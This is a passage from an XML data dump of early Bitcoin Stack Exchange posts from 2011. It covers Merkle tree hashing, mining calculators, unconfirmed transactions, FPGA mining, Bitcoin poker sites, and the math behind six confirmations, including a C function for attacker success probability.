href=&quot;http://www.fileformat.info/tool/hash.htm?hex=b5916d6bc34bd4157aa73c3d799a6cfcef85e0659465734362d0cebb8901e93d&quot;&gt;http://www.fileformat.info/tool/hash.htm?hex=b5916d6bc34bd4157aa73c3d799a6cfcef85e0659465734362d0cebb8901e93d&lt;/a&gt;&#xA;and got the same results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing someting wrong following this example: &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#Merkle_Trees&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification#Merkle_Trees&lt;/a&gt; .&#xA;I take my input hashes, concatenate them together, and double SHA256 that string. I also tried treating the input strings as a and b, that is, first double SHA256 them, and only then join them together, but the result was also wrong. Does anyone have a step-by-step example of proper hashing of the Merkle Tree?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-09-20T22:29:15.870" LastActivityDate="2020-11-24T14:25:07.337" Title="Merkle Tree hashing" Tags="|client|development|protocol|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1153" PostTypeId="2" ParentId="485" CreationDate="2011-09-19T18:52:45.213" Score="2" Body="&lt;p&gt;I`ve made a simple calculator that can calculate estimated mining profitability (given that you know how much power you are using and how much it costs you).&#xA;&lt;a href=&quot;http://tpbitcalc.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;http://tpbitcalc.appspot.com/&lt;/a&gt;&#xA;But the problem with all mining calculators is that the Bitcoin economy can shift very often. Difficulty and bitcoin exchange ratio change quite often, and the latter sometimes very rapidly, so projecting too far into the future has to be taken with a grain of salt.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-09-19T18:52:45.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1154" PostTypeId="2" ParentId="1121" CreationDate="2011-09-19T19:38:01.827" Score="5" Body="&lt;p&gt;nmat: i think you got the signs wrong in there somewhere. the fees will /decrease/ your effective selling price, and /increase/ your effective purchase price. so it should in fact be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExchangeA_sell * (1 - ExchangeA_fee) - ExchangeB_buy * (1 + ExchangeB_fee)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and also, you should take into account any deposit/withdrawal fees (E.g., when you withdraw via LR from mtgox, that's a 2% hit, when you use dwolla, that's 0.25USD fee, etc) that you'd incur when moving money between the exchanges.&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2011-09-19T19:38:01.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1155" PostTypeId="2" ParentId="1107" CreationDate="2011-09-19T19:41:55.253" Score="1" Body="&lt;p&gt;The key issue here is opcodes. If your transaction does not require any new script opcodes, you should be able to create these and have them make it into the block chain without any trouble (they won't get relayed because they won't pass the isStandard check, Eligius mining pool, for one, will relay non-standard transactions. Any miner will /accept/ them into their block, they just won't relay them which makes it harder for your transaction to propagate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the key is, if you don't need any new opcodes, this does not require any changes to the core bitcoin in order to work.&lt;/p&gt;&#xA;" OwnerUserId="441" LastActivityDate="2011-09-19T19:41:55.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1156" PostTypeId="2" ParentId="1152" CreationDate="2011-09-20T00:27:28.513" Score="8" Body="&lt;p&gt;As it was pointed out to me by ArtForz in this post: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=44707.msg534605#msg534605&quot;&gt;https://bitcointalk.org/index.php?topic=44707.msg534605#msg534605&lt;/a&gt; the hashes are stored in little endian notation, so I first need to reverse them before double-hashing them, and then reverse the output back to get the proper result.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-09-20T00:27:28.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1157" PostTypeId="2" ParentId="408" CreationDate="2011-09-20T02:17:59.587" Score="1" Body="&lt;p&gt;Yes. Hoarding does hurt the currency, but not because somebody's getting rich off of it. The problem is that due to the fixed quantity of coins, it's obvious that the value is going to go up if bitcoin achieves widespread adoption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what's keeping bitcoin from widespread adoption?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Currency risk&quot; is one of the primary reasons, and it's easy to see why. If the price is at risk of wild swings in value, then how is a merchant going to feel confident in pricing his goods? Imagine an internet merchant who prices his goods at 8pm, goes to bed at 9pm, the price of bitcoins doubles at 10pm, and all night long nobody will buy from him because his goods are now way too expensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a serious disincentive to the adoption of bitcoin. And it exists whenever the possibility of bitcoin going way up in value exists. It's a catch-22. Bitcoin can't achieve widespread adoption (and therefore make hoarders rich) without having value stability, but value stability implies by definition that you can't get rich off of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The good news is, we can modify bitcoin, or create a competitor, which has value stability as a goal. The funny thing is that this currency, while being less &quot;valuable&quot; by design, would actually have more value to the community because of its stable value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whew, is your mind bent yet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, &lt;a href=&quot;http://www.phauna.org/papers/freecoin/freecoin.pdf&quot; rel=&quot;nofollow&quot;&gt;here's the paper&lt;/a&gt; that explains it more thoroughly.&lt;/p&gt;&#xA;" OwnerUserId="446" LastActivityDate="2011-09-20T02:17:59.587" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1159" PostTypeId="2" ParentId="1093" CreationDate="2011-09-20T05:48:54.000" Score="8" Body="&lt;p&gt;I think this question primarily relates to the integrity of BTC, and withstanding a government mounted attack against it (from what I understand, any currency which could undermine the value of our US dollar is a threat to national security). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take into account another factor or two. DDoS attacks have taken place against several smaller mining pools, which effectively discount any mining they perform. If the largest pooled mining efforts were hit with denial of service attacks for long enough, the difficulty and network strength would drop. Then the network would become particularly vulnerable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is my belief that the BitCoin client should be coded to disallow connecting to nodes which overpower the last known status of the network. Along with distributing the blockchain, the client should also broadcast a list of possible problem nodes, and possibly some statistics of the state of the network if the client were offline.&lt;/p&gt;&#xA;" OwnerUserId="278" LastActivityDate="2011-09-20T05:48:54.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1160" PostTypeId="2" ParentId="408" CreationDate="2011-09-20T07:52:41.493" Score="3" Body="&lt;p&gt;I don`t think hoarding Bitcoins is bad for them in itself, but rather spending the hoarded coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the world of material things hoarding currency means there is less of it to circulate and make economy go around. For example, if people were still trading in gold (scarce resource), 99% of it was hoarded and not used, and you wanted to have the same volume of trade, the remaining 1% of gold would have 100 times the buying power (if you could buy a loaf of bread for 100 gold coins in the past, now you would pay only 1 gold coin). But with physical currency lies a problem - how do you divide it to have roughly the same amount of coinage to go around when it is worth orders of magnitude more? You can have goals bullions, coins, then go to thin gold film, and eventually you would reach a limit of how much you can divide your currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar example can be made with normal (fiat) currencies, like the dollar, but there is a difference between them. A dollar bill is not all that scarce. It is mostly cotton and linen, which can be made in big quantities and turned into dollars if the need for more money to circulate would arise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoins are infinitely divisible, or at least can be made like that if the need would arise. You can pay in Bitcents, mili-bitcoins, etc. and it wouldn't matter much. So if someone would own all but one Bitcoin, the economy could still manage just fine. On the other hand Bitcoins are scarce by design - there is a finite amount of them that will be created. Nobody can control the economy and release new coins to make sure they are worth the same through the whole time in relation to other currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where there is a problem with hoarding - say you own a 100000 coins now and store them for a long time. If Bitcoin turns out to be successful and all the internet is fuelled by the coins, a value of a single coin could be pretty high, lets say equivalent to 10 000$. Then you would have 1B$ worth of coins in your wallet, a significant amount. Now if you were to spend all those coins at once you could disrupt the economy and put a dent in the worth of Bitcoins. This sudden influx of coins into the economy is probably the only bad effect of coin hoarding - a rapid change of value of the coins. If the volume would be big, it could damage the economy quite badly. Compare this to the scenario of a couple wealthy countries abandoning USD and selling off all their supplies - the value of the dollar would fall, causing rapid inflation and possibly destroying the economy of at least some countries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, if you were to just kick back and spend your coins slowly the impact of your coin hoarding wouldn't be negative. It might even help the economy by making people sell more and thus earn more, but this would probably even itself out with the economy being worse off while you were hoarding coins instead of spending them. The situation is similar to the one right now - a lot of people mine coins for profit, but since they are not worth too much, they hoard them for later, instead of circulating and spending them.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-09-20T07:52:41.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1161" PostTypeId="1" AcceptedAnswerId="1162" CreationDate="2011-09-20T12:07:20.113" Score="14" ViewCount="6748" Body="&lt;p&gt;When &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/klce4/0unconfirmed_status_for_almost_a_week_help/&quot;&gt;someone gets a status of &quot;0/unconfirmed&quot; on a transaction for a long time&lt;/a&gt; - what could he be doing wrong? What should he check to solve this?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-02-04T19:01:33.817" Title="How to debug a long &quot;0/unconfirmed&quot; status in the bitcoin client?" Tags="|transactions|client|" AnswerCount="6" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1162" PostTypeId="2" ParentId="1161" CreationDate="2011-09-20T14:38:30.097" Score="9" Body="&lt;p&gt;Try running &lt;code&gt;bitcoind&lt;/code&gt; from the command line with the &lt;code&gt;-rescan&lt;/code&gt; option. It may be that your transaction was erroneous or a double-spend attempt and it only exists in your client. You could double-check the receiving address in &lt;a href=&quot;http://www.blockexplorer.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;blockexplorer&lt;/a&gt; to see if the transaction ever came through from the rest of the network's perspective. If this is a zero transaction fee transaction (or is just otherwise unlucky) it might still be in-queue to be included in a block. Bitcoin Charts has a &lt;a href=&quot;http://bitcoincharts.com/bitcoin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;list of in-queue transactions&lt;/a&gt; you can check as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming blockexplorer sees the transaction, your client probably isn't downloading blocks and may not even be connected at all. Check that the block number in your client matches the block number at blockexplorer (or any of a number of other sites), check if your client has 0 connections. If you have no connections, try the troubleshooting steps from &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/464/why-cant-i-get-over-8-connections-on-my-client&quot;&gt;this question&lt;/a&gt;. Worst case scenario delete everything from the Bitcoin data folder &lt;strong&gt;except for wallet.dat&lt;/strong&gt; and re-launch the client. Several hours later when you've finished downloading a fresh copy of the block chain, your 0/unconfirmed transaction will probably be resolved.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2011-09-20T22:34:39.353" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1163" PostTypeId="1" CreationDate="2011-09-20T16:07:25.173" Score="9" ViewCount="1594" Body="&lt;p&gt;The VISA network (VisaNet) supports 4.4 Trillion dollars of commerce per year (&lt;a href=&quot;http://phx.corporate-ir.net/External.File?item=UGFyZW50SUQ9MzY3MzcxfENoaWxkSUQ9MzYyNzMxfFR5cGU9MQ==&amp;amp;t=1&quot;&gt;2009&lt;/a&gt;). If we assume (somewhat arbitrarily), that the &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Days_Destroyed&quot;&gt;Bitcoin Days Destroyed&lt;/a&gt; metric approaches 50% (half of all coins are used every day, on average, to facilitate transactions),&#xA;then the value of the Bitcoin required to support 10% of the transactional volume in the VISA network (once all coins are minted) is $4.4T * 10% = $440B / 365 days/year / (21M BTC * 50%) = $114.80.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this approach seem valid? 50% BTCDD is arbitrary. 10% of the VISA network, is arbitrary but seems like a reasonable goal. What needs to be changed to improve this estimate, and what would a better way if any to compute the imputed value of the BTC based on its use as a transactional currency, rather than a speculative store of value?&lt;/p&gt;&#xA;" OwnerUserId="222" LastEditorUserId="15412" LastEditDate="2014-06-19T15:58:36.837" LastActivityDate="2014-06-19T15:58:36.837" Title="How can determine the fundamental theoretical value of the Bitcoin based on steady state daily velocity (BTCDD)?" Tags="|currencies|bitcoin-economy|visa|bitcoin-days-destroyed|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1164" PostTypeId="5" CreationDate="2011-09-20T18:17:56.180" Score="0" Body="&lt;p&gt;A vocabulary is a collection of words and phrases that make up a language or a field of knowledge.  This tag should be used for questions that help the community understand words, abbreviations, acronyms or phrases that are essentially unique to the Bitcoin community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some examples for this tag:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoin.stackexchange.com/questions/462/what-is-the-difference-between-bitcoin-bitcoin-and-bitcoin&quot;&gt;What is the difference between BitCoin Bitcoin and bitcoin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoin.stackexchange.com/questions/146/what-are-bitcoin-confirmations&quot;&gt;What are bitcoin &quot;confermations&quot;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="401" LastEditorUserId="401" LastEditDate="2011-09-20T18:19:39.533" LastActivityDate="2011-09-20T18:19:39.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1165" PostTypeId="4" CreationDate="2011-09-20T18:17:56.180" Score="0" Body="This tag should be used for questions that help the community understand words, abbreviations, acronyms or phrases that are essentially unique to the Bitcoin community." OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-10-21T21:54:04.393" LastActivityDate="2011-10-21T21:54:04.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1166" PostTypeId="1" AcceptedAnswerId="1168" CreationDate="2011-09-20T18:28:57.170" Score="12" ViewCount="3315" Body="&lt;p&gt;I would think that bitcoins would be a great fit for websites that allow for gambling, and with Texas Hold 'em being such a big card game it seems that a Hold 'em site might allow players to use bitcoins to fund their accounts. Does anyone know of a reputable poker site that accepts bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="401" LastEditorUserId="105" LastEditDate="2011-09-20T18:43:44.863" LastActivityDate="2016-03-12T14:49:13.967" Title="Are there any poker websites that accept bitcoins?" Tags="|websites|" AnswerCount="7" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1167" PostTypeId="2" ParentId="1166" CreationDate="2011-09-20T18:42:31.533" Score="3" Body="&lt;p&gt;I have used &lt;a href=&quot;http://btcontilt.com/&quot; rel=&quot;nofollow&quot;&gt;BTC On Tilt&lt;/a&gt; a few times and I like it. They have a nice interface and constant free rolls during the day.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-09-20T18:42:31.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1168" PostTypeId="2" ParentId="1166" CreationDate="2011-09-20T18:54:58.163" Score="9" Body="&lt;p&gt;The best resource to look for a poker site is &lt;a href=&quot;https://bitcointalk.org/index.php?board=56.0&quot;&gt;the gambling section on bitcointalk.org&lt;/a&gt;.  There are a lot of smaller sites advertised in that section of the forums trying to cater to the poker players who want to use their bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I've also seen people will to trade bitcoins for money on bigger poker sites, but I do not believe any major sites accept bitcoins directly at this time.&lt;/p&gt;&#xA;" OwnerUserId="14" LastEditorUserId="14" LastEditDate="2011-09-20T23:49:12.223" LastActivityDate="2011-09-20T23:49:12.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1169" PostTypeId="1" AcceptedAnswerId="1176" CreationDate="2011-09-20T19:00:46.017" Score="10" ViewCount="4111" Body="&lt;p&gt;I have been looking for a device that would allow me to mine Bitcoins without too much noise and heat. Something relatively small that I could keep in a shelf without worrying too much about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A rig with GPUs is too noisy so I looked into FPGAs, but I have no idea what these devices are. From what I understand, an FPGA is just a card (like a GPU) so I would still need to keep a computer on 24/7, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So do I need special hardware/software to connect an FPGA to my computer or does it work like a GPU?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5406" LastEditDate="2016-01-27T13:50:31.063" LastActivityDate="2016-01-27T13:50:31.063" Title="What software/hardware is required to mine with an FPGA?" Tags="|fpga|mining-setup|mining-hardware|miner-configuration|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1170" PostTypeId="1" AcceptedAnswerId="1180" CreationDate="2011-09-20T19:47:46.883" Score="122" ViewCount="22851" Body="&lt;p&gt;Why is 6 is the number of confirmations that is considered secure? I haven't found any mathematical explanation or otherwise that explains why it is 6 and not 5 or 7. Is there a historical reason for 6? Is there a specific way to calculate it so 6 is just a number that was chosen?&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="5406" LastEditDate="2016-01-22T18:53:21.257" LastActivityDate="2021-01-03T22:59:47.900" Title="Why is 6 the number of confirms that is considered secure?" Tags="|security|confirmations|mining-theory|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1171" PostTypeId="2" ParentId="1169" CreationDate="2011-09-20T20:24:45.540" Score="1" Body="&lt;p&gt;From what I understand a full-blown computer might not be required. You need two things to mine on an FPGA - power and connection to the internet. First one is pretty self-explanatory, but as for the second one I`m not entirely sure whether you need a computer to connect them to the internet, or some other, similar device would suffice. As an electronic tech I think it is pretty likely that you can get FPGAs mining your coins without a &quot;normal&quot; computer, but I don't know much about this field.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-09-20T20:24:45.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1173" PostTypeId="2" ParentId="1166" CreationDate="2011-09-20T20:54:52.760" Score="8" Body="&lt;p&gt;&lt;a href=&quot;https://www.switchpoker.com&quot; rel=&quot;nofollow&quot;&gt;SwitchPoker.com&lt;/a&gt;, &lt;a href=&quot;http://Sealswithclubs.org&quot; rel=&quot;nofollow&quot;&gt;Sealswithclubs.org&lt;/a&gt;, &lt;a href=&quot;http://btcontilt.com&quot; rel=&quot;nofollow&quot;&gt;btcontilt.com&lt;/a&gt;, and &lt;a href=&quot;http://betco.in&quot; rel=&quot;nofollow&quot;&gt;betco.in&lt;/a&gt; have Bitcoin Poker.&lt;/p&gt;&#xA;" OwnerUserId="452" LastEditorUserId="1391" LastEditDate="2012-11-27T11:15:12.173" LastActivityDate="2012-11-27T11:15:12.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1174" PostTypeId="2" ParentId="1170" CreationDate="2011-09-20T21:17:20.060" Score="71" Body="&lt;p&gt;I believe this is addressed in page 8 of Satoshi's &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin paper&lt;/a&gt; when showing the probability of an attacker catching up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/FAQ#Why_do_I_have_to_wait_10_minutes_before_I_can_spend_money_I_received.3F&quot; rel=&quot;noreferrer&quot;&gt;wiki&lt;/a&gt; states: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Only 6 blocks or 1 hour is enough to make reversal computationally impractical.&quot;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The key word is &quot;impractical&quot;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The important sentence in Satoshi's paper is: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Assuming the honest blocks took the average expected time per block, the attacker's potential progress will be a &lt;a href=&quot;http://en.wikipedia.org/wiki/Poisson_distribution&quot; rel=&quot;noreferrer&quot;&gt;Poisson distribution&lt;/a&gt;&quot;.  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, it is not that someone couldn't create the worlds first and own a $50 million ASIC farm, so as to have the ability to overtake the blockchain from a fork six blocks prior but that doing so would be a.) a massive undertaking, b.) obvious to all and c.) terrifically unprofitable to the attacker.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="5406" LastEditDate="2016-01-22T18:57:30.137" LastActivityDate="2016-01-22T18:57:30.137" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1175" PostTypeId="2" ParentId="1169" CreationDate="2011-09-20T22:23:19.950" Score="2" Body="&lt;p&gt;It depends on the board. There is a &lt;a href=&quot;http://www.ztex.de/btcminer/&quot; rel=&quot;nofollow&quot;&gt;board&lt;/a&gt; that uses USB for its connection to the computer.&lt;/p&gt;&#xA;" OwnerUserId="228" LastActivityDate="2011-09-20T22:23:19.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1176" PostTypeId="2" ParentId="1169" CreationDate="2011-09-20T22:25:30.087" Score="10" Body="&lt;p&gt;You would need a computer to program the FPGA, obtain the work units, distribute them to the FPGAs, collect the shares, and submit them back. If you're not using a mining pool, you'll also need the computer to generate the work unit, assemble solved blocks, and submit them to the Bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The computer won't be doing that much work. So you can use a very low-end machine and optimize it for low power consumption and low noise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://cablesaurus.com/index.php?main_page=index&amp;amp;cPath=10&quot;&gt;Cablesaurus&lt;/a&gt; built the first commercially available FPGA Bitcoin miner. There is a lot of innovation going on and what's available is changing rapidly, but most of the current designs are very similar to this design.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-20T22:25:30.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1177" PostTypeId="2" ParentId="1161" CreationDate="2011-09-20T22:31:19.560" Score="2" Body="&lt;p&gt;One common cause of this condition is manually forcing a zero transaction fee. If you force a zero transaction fee on a 'large' transaction (one that gathers Bitcoins from many other transactions or sends Bitcoins to many different sources) other nodes in the Bitcoin network will refuse to relay your transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While there are some nodes that will relay all valid transactions, your client will only send the transaction out about once every half an hour or so. As a result, it can be a long time before, by sheer luck, your client happens to send the transaction to a node that's willing to relay it (that happens to be able to relay it to other nodes that are similarly willing).&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-20T22:31:19.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1178" PostTypeId="2" ParentId="126" CreationDate="2011-09-20T23:05:22.267" Score="35" Body="&lt;p&gt;There are a number of ways one can go about accepting Bitcoin on a web interface. Keep in mind as you review these options that Bitcoin is still a young technology and many of these options aren't what you'd call &quot;friendly&quot; just yet. That said you do have quite a few options depending on your level of expertise and technical requirements:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use a service like:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.bitcoinpayflow.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BitcoinPayFlow&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://BitPay.com/tour&quot; rel=&quot;nofollow noreferrer&quot;&gt;BitPay&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use an existing &lt;a href=&quot;https://en.bitcoin.it/wiki/Category:Shopping_Cart_Interfaces&quot; rel=&quot;nofollow noreferrer&quot;&gt;shopping cart interface&lt;/a&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There are existing plugins for Ubercart, Magento and many other popular e-commerce platforms. If you are looking to modify an existing site that happens to run on one of these platforms, this may be your best bet. If you've yet to start a site and don't want to write code yourself this may still be your best bet since you can choose your platform prior to implementation.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Roll your own using existing libraries&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This is your best bet if you're using a platform that isn't currently supported or if you have difficult integration requirements that cannot be satisfied by existing e-commerce platforms like Magento or Ubercart.&lt;/li&gt;&#xA;&lt;li&gt;Languages:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sourceforge.net/projects/bitnet/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ASP.NET/C#&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/php-libs/JsonRPC&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://json-rpc.org/wiki/python-json-rpc&quot; rel=&quot;nofollow noreferrer&quot;&gt;Python&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;Many others&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Roll your own using the &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;JSON API&lt;/a&gt; directly&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This is only necessary if you are not using one of the half-dozen or so languages that already have pre-written libraries for interfacing with bitcoind. The list of languages may be short, but all of the major industry standards have been covered, so it's unlikely you will have to go this far.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="22" LastEditorUserId="71115" LastEditDate="2017-12-27T05:13:49.157" LastActivityDate="2017-12-27T05:13:49.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1179" PostTypeId="2" ParentId="1161" CreationDate="2011-09-20T23:47:12.400" Score="2" Body="&lt;p&gt;When users are quick to close the client, the transaction being sent will not get re-broadcast if for some reason it didn't propagate sufficiently when the first attempt was made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So before even trying anything -- leave the client up and running on a reliable connection for maybe an hour.  If it still stays at 0/unconfirmed, then other troubleshooting is warranted.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-09-20T23:47:12.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1180" PostTypeId="2" ParentId="1170" CreationDate="2011-09-21T07:35:52.693" Score="19" Body="&lt;p&gt;Here are some of the relevant sections from Satoshi's paper:&#xA;&lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;noreferrer&quot;&gt;http://bitcoin.org/bitcoin.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;11. Calculations&#xA;We consider the scenario of an attacker trying to generate an alternate chain faster than the honest chain.  ... The race between the honest chain and an attacker chain can be characterized as a Binomial Random Walk.  The success event is the honest chain being extended by one block, increasing its lead by +1, and the failure event is the attacker's chain being extended by one block, reducing the gap by -1. ... The probability of an attacker catching up from a given deficit is analogous to a Gambler's Ruin problem. ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p = probability an honest node finds the next block&#xA;q = probability the attacker finds the next block&#xA;qz = probability the attacker will ever catch up from z blocks behind&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s1tlh.png&quot; alt=&quot;equation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given our assumption that p &gt; q, the probability drops exponentially as the number of blocks the attacker has to catch up with increases.  With the odds against him, if he doesn't make a lucky lunge forward early on, his chances become vanishingly small as he falls further behind ... the attacker's potential progress will be a Poisson distribution ... To get the probability the attacker could still catch up now, we multiply the Poisson density for each amount of progress he could have made by the probability he could catch up from that point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Converting to C code..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include &amp;lt;math.h&amp;gt;&#xA;double AttackerSuccessProbability(double q, int z)&#xA;{&#xA;    double p = 1.0 - q;&#xA;    double lambda = z * (q / p);&#xA;    double sum = 1.0;&#xA;    int i, k;&#xA;    for (k = 0; k &amp;lt;= z; k++)&#xA;    {&#xA;        double poisson = exp(-lambda);&#xA;        for (i = 1; i &amp;lt;= k; i++)&#xA;            poisson *= lambda / i;&#xA;        sum -= poisson * (1 - pow(q / p, z - k));&#xA;    }&#xA;    return sum;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running some results, we can see the probability drop off exponentially with z.&#xA;&quot;&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="22" LastEditDate="2012-02-02T18:41:42.530" LastActivityDate="2012-02-02T18:41:42.530" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
